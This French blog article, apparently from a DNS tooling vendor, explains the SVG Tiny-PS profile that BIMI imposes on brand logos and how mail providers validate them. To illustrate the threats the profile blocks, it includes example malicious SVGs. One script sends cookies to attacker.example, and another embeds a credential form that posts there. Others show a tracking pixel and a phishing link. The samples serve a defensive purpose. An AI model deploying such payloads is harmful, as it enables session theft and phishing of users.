Aller au contenu principal

SVG Tiny-PS : comprendre le profil de sécurité imposé par BIMI

Par CaptainDNS
Publié le 2 mars 2026

Schéma du modèle de sécurité SVG Tiny-PS montrant les vecteurs d'attaque bloqués par le profil BIMI
TL;DR
  • SVG standard peut embarquer des scripts JavaScript, des liens de phishing et des pixels de tracking : des capacités incompatibles avec une boîte de réception
  • Le profil SVG Tiny 1.2 PS (Portable/Secure) élimine toute exécution de code, tout chargement externe et toute interactivité
  • Gmail, Yahoo Mail et Apple Mail parsent chaque logo BIMI et rejettent tout fichier qui enfreint les restrictions du profil PS

Un fichier SVG n'est pas une simple image. C'est un document XML qui peut contenir du JavaScript, des liens hypertexte, des requêtes vers des serveurs externes et même du HTML embarqué via <foreignObject>. Ces capacités, utiles sur le web, deviennent des armes dans un contexte email.

BIMI (Brand Indicators for Message Identification) affiche le logo d'une marque directement dans la boîte de réception du destinataire. Si ce logo pouvait exécuter du code ou charger des ressources externes, il deviendrait le vecteur d'attaque le plus accessible jamais déployé : présent dans chaque email reçu, affiché automatiquement, sans interaction de l'utilisateur.

C'est pourquoi BIMI impose un profil SVG ultra-restrictif : SVG Tiny 1.2 PS (Portable/Secure). Cet article détaille l'origine de ce profil, les menaces qu'il neutralise et la manière dont les fournisseurs de messagerie l'appliquent.

Du W3C à BIMI : d'où vient le profil SVG Tiny-PS ?

Le profil SVG Tiny-PS ne sort pas de nulle part. Il s'appuie sur deux décennies de travail de standardisation du W3C, adapté aux contraintes spécifiques de l'email.

SVG Tiny 1.2 : un standard pour les appareils contraints

En 2008, le W3C publie la spécification SVG Tiny 1.2. L'objectif initial n'a rien à voir avec l'email : il s'agit de permettre l'affichage de graphiques vectoriels sur des appareils mobiles aux ressources limitées (téléphones de l'époque, PDA, navigateurs embarqués).

SVG Tiny 1.2 retire les fonctionnalités les plus lourdes de SVG Full : pas de filtres complexes, pas de <foreignObject>, pas de CSS avancé. Le sous-ensemble restant suffit pour afficher des icônes, des logos et des illustrations simples.

L'extension PS : la couche sécurité de BIMI

Quand le BIMI Working Group cherche un format d'image pour les logos de marque dans les emails, SVG Tiny 1.2 constitue un bon point de départ. Le format est léger, standardisé et ne dépend pas de résolutions fixes. Mais SVG Tiny 1.2 conserve encore des capacités problématiques pour la sécurité email :

  • Les scripts JavaScript (<script>) sont toujours permis dans SVG Tiny 1.2
  • Les liens hypertexte (<a>) restent autorisés
  • Les animations (<animate>, <set>) fonctionnent

Le BIMI Working Group ajoute donc une couche supplémentaire de restrictions, baptisée PS (Portable/Secure). Le résultat est un profil déclaré via l'attribut baseProfile="tiny-ps" sur la balise <svg> racine :

<svg xmlns="http://www.w3.org/2000/svg"
     version="1.2"
     baseProfile="tiny-ps"
     viewBox="0 0 512 512">
  <!-- Contenu du logo -->
</svg>

L'attribut baseProfile="tiny-ps" signale aux parseurs que le fichier est soumis aux restrictions PS. Un fournisseur de messagerie qui rencontre un SVG sans cet attribut le rejette, même si le contenu est techniquement conforme.

Quels vecteurs d'attaque un fichier SVG peut-il contenir ?

Pour comprendre les restrictions, il faut d'abord comprendre les risques. Un fichier SVG classique offre cinq grandes surfaces d'attaque dans un contexte email.

Exécution de code JavaScript

SVG supporte la balise <script> avec du JavaScript complet. Dans un navigateur, c'est une fonctionnalité. Dans une boîte de réception, c'est une faille XSS (Cross-Site Scripting) servie sur un plateau :

<!-- SVG malveillant : vol de session -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://attacker.example/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>

Un tel fichier, affiché comme logo BIMI, pourrait accéder au DOM du client de messagerie web, exfiltrer des cookies de session ou injecter du contenu dans la page.

Chargement de ressources externes

La balise <image> permet de charger des images depuis un serveur distant. C'est un pixel de tracking déguisé en logo :

<!-- SVG avec tracking pixel -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://tracker.example/pixel.gif?uid=12345"
         width="1" height="1"/>
  <circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>

Chaque affichage du logo déclenche une requête HTTP. L'attaquant sait quand, où et combien de fois l'email est ouvert (adresse IP, user agent, fréquence).

Liens de phishing

L'élément <a> crée des zones cliquables dans un SVG. Un logo entièrement cliquable qui redirige vers un site de phishing passerait inaperçu pour la plupart des utilisateurs :

<!-- SVG avec lien de phishing -->
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="https://fake-bank.example/login">
    <rect width="100" height="100" fill="#8B5CF6"/>
    <text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
  </a>
</svg>

Contenu HTML embarqué

<foreignObject> permet d'injecter du HTML et du CSS arbitraires dans un SVG. C'est la surface d'attaque la plus large : formulaires, iframes, scripts imbriqués :

<!-- SVG avec HTML embarqué -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <form action="https://attacker.example/phish">
        <input type="text" placeholder="Email"/>
        <input type="password" placeholder="Mot de passe"/>
        <button>Connexion</button>
      </form>
    </div>
  </foreignObject>
</svg>

Animations et interactions événementielles

Les éléments <animate>, <set> et les attributs onclick, onmouseover permettent de créer des comportements dynamiques. Un logo animé pourrait simuler une interface, afficher de faux boutons ou déclencher des actions au survol.

Modèle de menace SVG : les vecteurs d'attaque neutralisés par le profil Tiny-PS

Comment le profil PS neutralise chaque menace ?

Le profil PS applique trois catégories de restrictions. Chacune cible un groupe de menaces spécifique.

Catégorie 1 : éléments interdits

Le profil PS supprime entièrement certains éléments XML du vocabulaire SVG autorisé :

Élément interditMenace neutralisée
<script>Exécution de code JavaScript (XSS)
<image>Chargement de ressources externes (tracking)
<a>Liens de phishing cliquables
<foreignObject>Injection de HTML/CSS arbitraire
<animate>, <animateTransform>, <set>Animations et comportements dynamiques
<filter>, <feGaussianBlur>Filtres complexes (rendu imprévisible)
<pattern>, <mask>, <symbol>Éléments avancés non nécessaires pour un logo
<marker>, <switch>, <cursor>Interactivité et personnalisation

Si un fichier SVG contient ne serait-ce qu'un de ces éléments, le fournisseur le rejette intégralement. Il n'y a pas de mode dégradé : un seul élément interdit suffit.

Catégorie 2 : attributs et événements supprimés

Même sur les éléments autorisés, certains attributs sont interdits :

  • Événements JavaScript : onclick, onmouseover, onload, onfocusin et tous les attributs on*
  • Références externes : xlink:href pointant vers une URL externe (les références internes avec #id restent autorisées)
  • Styles CSS complexes : les blocs <style> sont interdits ; les propriétés doivent être déclarées en attributs inline (fill="#0EA5E9")

Catégorie 3 : structure imposée

Le profil PS impose une structure précise sur l'élément <svg> racine :

AttributValeur requiseRôle
version1.2Déclare le sous-ensemble SVG Tiny 1.2
baseProfiletiny-psActive les restrictions PS
viewBox0 0 X X (carré)Garantit un ratio 1:1 pour l'affichage
xmlnshttp://www.w3.org/2000/svgNamespace SVG standard

Le viewBox carré n'est pas une restriction de sécurité à proprement parler. Il garantit que le logo s'affiche correctement quel que soit le client de messagerie et la taille de la zone d'affichage.

Éléments autorisés

Ce qui reste après filtrage constitue le vocabulaire minimal pour dessiner un logo :

Conteneurs : <svg>, <g>, <defs>

Formes : <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>

Texte : <text>, <tspan>

Couleurs : <linearGradient>, <radialGradient>, <stop>, <solidColor>

Découpe : <clipPath>, <use> (référence locale uniquement)

Accessibilité : <title>, <desc>

Ce vocabulaire suffit pour reproduire n'importe quel logo de marque. Les logos n'ont pas besoin de scripts, d'animations ou de liens : ils sont par nature des images statiques.

Comment les fournisseurs valident un logo SVG Tiny-PS ?

Les fournisseurs de messagerie ne font pas confiance à l'attribut baseProfile="tiny-ps". Ils parsent le fichier entièrement et vérifient chaque élément.

Le processus de validation

La validation suit un pipeline en quatre étapes :

  1. Récupération : le fournisseur télécharge le fichier SVG depuis l'URL indiquée dans l'enregistrement DNS BIMI (l=https://...)
  2. Parsing XML : le fichier est parsé comme un document XML strict. Tout fichier mal formé est rejeté
  3. Vérification structurelle : présence de version="1.2", baseProfile="tiny-ps", viewBox carré, namespace correct
  4. Analyse des éléments : chaque nœud XML est comparé à la liste blanche. Un élément interdit provoque un rejet immédiat

Différences entre fournisseurs

CritèreGmailYahoo MailApple Mail
Validation SVG Tiny-PSStricteStricteStricte
Certificat VMC/CMC requisOuiNonNon
Cache du logoLong (jours)Moyen (heures)Court
DMARC p=reject obligatoireOuiNon (p=quarantine suffit)Non (p=quarantine suffit)

Gmail applique la validation la plus stricte. En plus du format SVG Tiny-PS, il exige un certificat VMC (Verified Mark Certificate) ou CMC (Common Mark Certificate) qui lie cryptographiquement le logo à l'identité de la marque. Yahoo Mail et Apple Mail affichent le logo sans certificat, mais valident le format avec la même rigueur.

Raisons de rejet les plus courantes

Les causes de rejet les plus fréquentes sont :

  1. baseProfile absent : le fichier ne déclare pas baseProfile="tiny-ps" (environ 50 % des cas)
  2. Bloc <style> présent : les éditeurs graphiques exportent les couleurs en CSS, pas en attributs inline
  3. Élément <image> détecté : un bitmap embarqué en base64 dans le SVG
  4. viewBox non carré : ratio différent de 1:1
  5. Namespace superflu : xmlns:inkscape, xmlns:xlink avec des références non utilisées

Processus de validation d'un logo SVG Tiny-PS par les fournisseurs de messagerie

🎯 Plan d'action recommandé

  1. Auditer votre fichier SVG actuel : ouvrez-le dans un éditeur de texte et cherchez les éléments interdits (<script>, <image>, <style>, <a>, <animate>)
  2. Vérifier les attributs racine : confirmez la présence de version="1.2", baseProfile="tiny-ps" et un viewBox carré
  3. Convertir automatiquement : passez le fichier dans un convertisseur SVG Tiny-PS pour supprimer les éléments interdits et ajouter les attributs manquants
  4. Tester la récupération : utilisez l'outil de vérification BIMI de CaptainDNS pour confirmer que le logo est accessible et valide depuis l'enregistrement DNS
  5. Surveiller les mises à jour : le BIMI Working Group peut ajuster les restrictions ; consultez régulièrement la RFC 9495

FAQ

Qu'est-ce que le profil SVG Tiny-PS ?

SVG Tiny 1.2 PS (Portable/Secure) est un sous-ensemble restreint du format SVG, défini pour BIMI. Il reprend la base de SVG Tiny 1.2 du W3C et ajoute des restrictions de sécurité : pas de scripts, pas de liens, pas d'images externes, pas d'animations. Seuls les éléments visuels statiques (formes, texte, gradients) sont autorisés.

Pourquoi BIMI n'accepte-t-il pas les fichiers SVG standards ?

Un fichier SVG standard peut contenir du JavaScript, des liens hypertexte, des pixels de tracking et du HTML embarqué. Afficher un tel fichier automatiquement dans une boîte de réception ouvrirait une surface d'attaque massive. Le profil SVG Tiny-PS élimine ces capacités pour que le logo reste une image statique inoffensive.

Quelle est la différence entre SVG Tiny 1.2 et SVG Tiny-PS ?

SVG Tiny 1.2 est un standard W3C conçu pour les appareils mobiles. Il retire les fonctionnalités les plus lourdes de SVG Full mais conserve les scripts et les liens. SVG Tiny-PS ajoute une couche de restrictions de sécurité spécifiques à BIMI : interdiction des scripts, des liens, des animations et de tout chargement externe.

Quels types d'attaques un fichier SVG malveillant peut-il contenir ?

Un SVG malveillant peut contenir du JavaScript pour exécuter du XSS, des balises &lt;image> pour le tracking par pixel, des liens &lt;a> pour le phishing, du HTML via &lt;foreignObject> pour injecter des formulaires, et des animations pour simuler de faux éléments d'interface.

Comment Gmail valide-t-il un logo BIMI ?

Gmail télécharge le SVG depuis l'URL déclarée dans l'enregistrement DNS BIMI, parse le XML, vérifie la présence de baseProfile="tiny-ps" et d'un viewBox carré, puis analyse chaque élément contre la liste blanche du profil PS. Il exige aussi un certificat VMC ou CMC valide pour afficher le logo avec le badge de vérification.

Le profil SVG Tiny-PS autorise-t-il les gradients et les couleurs ?

Oui. Les gradients linéaires (&lt;linearGradient>), radiaux (&lt;radialGradient>) et les couleurs (fill, stroke, &lt;solidColor>) sont autorisés. Le profil PS ne restreint que les éléments qui posent un risque de sécurité, pas les éléments décoratifs nécessaires à un logo.

Existe-t-il un validateur officiel pour SVG Tiny-PS ?

Le BIMI Group ne fournit pas de validateur officiel. Les fournisseurs de messagerie effectuent leur propre validation lors du traitement de l'email. Pour tester votre logo avant publication, utilisez un outil de vérification BIMI qui simule le processus de validation des fournisseurs.

📖 Glossaire

  • SVG Tiny 1.2 PS : profil de sécurité du format SVG adopté par BIMI. PS signifie Portable/Secure. Il restreint SVG Tiny 1.2 aux éléments visuels statiques en éliminant scripts, liens, animations et chargement externe.
  • XSS (Cross-Site Scripting) : attaque qui injecte du code JavaScript dans une page web pour voler des données ou détourner des sessions. Un SVG avec <script> peut servir de vecteur XSS.
  • baseProfile : attribut XML de la balise <svg> qui déclare le profil SVG utilisé. La valeur tiny-ps signale au parseur que le fichier doit respecter les restrictions PS.
  • BIMI : Brand Indicators for Message Identification. Standard qui affiche le logo d'une marque dans les clients de messagerie, conditionné à DMARC et (selon le fournisseur) à un certificat VMC/CMC.
  • VMC/CMC : Verified Mark Certificate / Common Mark Certificate. Certificats qui lient cryptographiquement un logo à une marque. Gmail exige l'un de ces certificats pour afficher le badge de vérification.
  • RFC 9495 : spécification IETF de BIMI, publiée en décembre 2023. Définit le format d'enregistrement DNS, le processus de validation et les exigences sur le logo SVG.

Vérifiez la conformité de votre logo : passez votre fichier SVG dans le convertisseur SVG Tiny-PS de CaptainDNS pour détecter et corriger automatiquement les éléments non conformes.


📚 Guides BIMI connexes

Sources

Articles similaires